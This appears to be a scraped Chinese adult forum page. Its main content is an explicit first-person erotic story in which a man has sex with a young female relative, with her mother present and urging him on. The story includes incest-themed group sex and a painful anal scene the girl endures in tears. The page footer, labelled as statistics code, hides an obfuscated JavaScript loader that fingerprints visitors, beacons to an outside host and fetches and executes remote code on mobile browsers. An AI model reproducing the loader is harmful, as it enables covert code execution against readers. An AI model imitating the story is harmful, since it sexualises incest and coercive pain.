    “乖女儿,你忍着点,女儿家的第一次会有一点痛的,但一会儿姐夫会弄得你好快活,那时就不觉得痛了呀!你可以缩手,别阻住姐夫抽送。”姑姑从我手里接过她女儿的嫩脚,并高高地举起。又对我说道:“你别担心,抽送几下,我女儿就会苦尽甘来的了。”
    我双手摸捏着红红的奶儿,同时也把粗硬的大阴茎向她紧窄的阴道挺进去,红红咬着牙忍痛任我弄,我微微拔出,见到阳具已经泄红了。姑姑握着她女儿的双脚,把红红的两条嫩腿尽量分开,她说道:“见红了,你放心抽送吧!大力一点,她就反而不知道痛了呀!我的第一次也这样嘛!”
    我听了她的话,便放胆抽送起来。红红果然渐渐舒开了眉头,小肉洞里也多出许多水份,我得到润滑,就索性让粗硬的大阴茎在她小洞里横冲直撞。姑姑站在我后面,双手扶着她女儿的两条粉腿,却把自己双乳贴在我的背脊。红红脸红眼湿,渐入佳景了,不过她的阴道实在箍得我好紧,我在她到达一次高潮时,就尽力插入她的肉体深处喷射了。
    我让肉棍儿留在红红的狭窄的阴道里稍做休息,回头见到姑姑正用手抚摸着自己的乳房,而且阴户也十分潮湿,便说道:“姑姑,你躺在床沿,我也和你玩玩。”
    “你┅┅现在┅┅可以吗?”姑姑用讶异的眼光望着我问道。
    我点了点头,姑姑喜悦地摆好了姿势,还把双腿高高的举着。我从她女儿的阴户里拔出带血的阴茎,把红红软软的肉体抱到床中心,红红的嫩腿还在微微在颤动。我纵身于姑姑的大腿间,粗硬的大阴茎轻易地进入她湿润的小肉洞里。
    姑姑的阴道宽紧适中,腔壁有许多皱纹,我既抽送自如,又觉得很具摩擦,实在值得一赞。我玩得她很兴奋的时候,也尝试进入她的臀洞。姑姑虽然没有拒绝,但是也没有我插她前面时那种肉紧的表情,所以我兴趣不大,仍然回到她的阴道,和她一起到达高潮。
    姑姑和我进浴室稍作冲洗,出来的时候,她见我的阳具仍然坚硬,又用嘴为我吮吸了一会儿。她叫女儿留下来陪我过夜,她自己得好好休息一下了。
    我望望床上的红红,她仍然软软的仰卧着,我见她的阴户被我弄得很零乱,就拧了一条热毛巾小心替她擦拭,只见她阴唇有点儿红肿,阴道口已经打开了一个尾指大小的肉洞儿。
    我拥着她睡下,轻抚着她的奶儿问道:“红红,你下面还痛吗?”
    红红娇媚地说道:“初被你插入的时候,几乎痛死我了。接着妈叫你抽送,就真的不觉得痛,而且有一种很特别的感觉,我也讲不出来,后来我觉得全身都趐麻了,好舒服哦!不过你去和妈玩的时候,我又有点儿疼痛,现在就已经没事了,你是不是又要玩我呢?我还可以让你玩呀!”
    “不要了,今晚你才第一次,你已经受创了,再玩会很痛的。以后你如果喜欢,我们再玩,那时你就会更舒服的。”我抚摸着她的阴户说。
    红红伸手握住我粗硬的大阴茎说道:“姐夫,你这里好大呀!比我爹大很多哦!”
    “你见过你爹的吗?”我奇怪的问。
    “见过呀!爹有时很晚回来,以为我睡着了,就在床前换裤子。有时候他和妈在玩,我也被吵醒了。不过以前我总以为他们是在开玩笑,直到今晚我才明白原来不是普通的开玩笑。”
    “那幺是什幺呢?”我故意追问。
    “我也说不出呀!总之,我让你插的时候很兴奋,我见到妈也被你玩得很舒服,我还见到她的屁股也让你插进去哩!而你只插入我的阴道呀!”
    “傻女孩,插屁股对于女人来说是没有好处的,我和你妈是因为玩得太高兴才即兴地去插她的屁眼呀!”
    “那你下次也即兴试试我呀!”红红笑着说道:“我刚才也看见我妈用嘴巴含你这条东西哩!我的嘴并不痛,你也让我试试好吗?”
    我笑道:“你愿意的话就试试吧!不过你不怕我喷得你一嘴精液吗?”
    红红道:“我妈都不怕,我当然也不怕啦!”说完就爬起来,趴到我身上,白嫩的小手儿握住我的粗硬的大阴茎,张开她的小嘴,就把我的龟头含入嘴里吮吸起来。
    我舒舒服服地躺着接受她的口交服务,望着这娇俏的可人儿认真地把我的阳具横吹直吮,我还有什幺不满足的了?当我告诉红红,我就要喷出的时候,她却把我的龟头深深地含入,让我在她小嘴里喷发,而且点滴不漏地把我射入她嘴里的精液全部吞食下去。
    梅开二度了,可是对着娇嫩可爱的红红,我并没有倦意。我笑着问她:“是什幺样的味道呢?”
    红红说道:“没有什幺特别的味道呀!不过也并不好吃。”
    “那你为什幺要吃下去呢?”我笑了起来。
    “我妈吃过,我当然也要试试嘛!而且我有一次听见我妈和她的外国朋友谈话时,她们说男人的精液对女人有养颜的作用嘛!”
    这一夜,红红亲热地枕着我的臂弯甜睡,我望着她赤裸的肉体,却久久不能入睡。
    次日清晨五点,我就被她搞醒了。睁开眼睛一看,红红已经坐起来,正在用她的手儿玩弄我的阳具。我笑着问道:“红红,你下面还痛不痛呢?”
    红红摇了摇头道:“不痛了。”
    我笑道:“是不是又想我插入你的小肉洞玩玩呢?”
    红红坦白地说道:“想呀!好不好呢?”
    “那你躺下来,我在你上面弄,不然,昨晚射进你阴道里的精液会倒流出来的。”
    红红仰天躺好,我掰开她两条粉嫩的大腿,伏到她上面,她用双手的中指把两片阴唇向两旁拨开,露出昨晚被我的阳具开戳出来的小肉洞。我举着粗硬的大阴茎,把龟头抵在她的阴道口,然后缓缓挤进去。
    我望着红红的俏脸上并没有痛苦的表情,就继续把肉棍儿整条插进去,接着尝试抽送一下,觉得仍然很紧,不过有昨晚射入的精液滋润,总算不太困难。我一边慢慢地抽送,一边吮吸着她的乳尖。
    红红睁着一对可爱的媚眼儿望着我说:“姐夫,我已经可以容纳你了呀!”
    “那我要开始横冲直撞啦!”我笑着说道。接着就扭动腰部,放胆让粗硬的大阴茎在红红的小洞眼里深入浅出,肆意捣弄。
    记得我那个老婆和我初夜行房后,第二天晚上还不能再弄,可是现在红红已经可以接受我常规的抽弄。我觉得她的阴道越来越多水,红红也开始兴奋了,起初她只是轻声的哼着,后来就叫出声了。我随着她的亢进加快节奏,直把初经人道的红红奸得淫液浪汁横溢。
    我见她已经如痴如醉,便停下来让她回气。红红喘了一口长气,说道:“姐夫,我被你弄得全身都轻飘飘的了,原来被男人玩是这幺刺激的。”
    我笑道:“红红,你够了吗?我再弄几下就要在你阴道里发泄了。”
    “姐夫,为什幺你不肯试试插我的屁股呢?”
    “我怕你会很痛呀!还有,插屁股对你其实并没有好处嘛!”
    “哼!我不理,我要你试一试嘛!”红红竟撒娇了。
    我只好下床,把红红的屁股移到床沿。红红双腿举得高高的,我先把粗硬的大阴茎插入她阴户里抽弄几下,然后拔出来,把湿淋淋的肉棍儿对着她紧闭的臀缝戳下去。
    红红轻轻叫了一声“哎哟!”我忙停下来问:“行不行呢?”
    “你弄吧!不要紧的。”红红嘴硬地说。
    我慢慢逼入,红红咬着下唇忍受着,直到我的阳具整条进入她的肉体。她的肛门实在太紧窄了,我插入后根本无法抽动。
    我问红红道:“你觉得怎样呢?”
    红红已经痛得眼泪都流出来了,但她倔强地说道:“好痛,不过你先别拔出来。”
    “还是玩你的阴户吧!”我劝她道。
    红红点了点头说道:“也好,不过我要你试一次在我屁股里发射。”
    好一个难缠的小妮子。于是我听她的话,在她阴户里捣了几十下之后,才回到她屁眼里一泄如注了。
    我把红红软软的身体抱入浴室里略为冲洗,回到床上时,她很快又倦然入睡了。
    后来,我和岳母、姑姑、红红整日大被同眠,过着快乐幸福的生活,每天大乳房乳交,口交,足交,还要她们穿各种制服丝袜,旗袍晚礼服等等供我淫乐,实在是人生一大乐事,快乐得不得了。


[ 此贴被hohoho12321在2019-01-17 17:01重新编辑 ]

 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};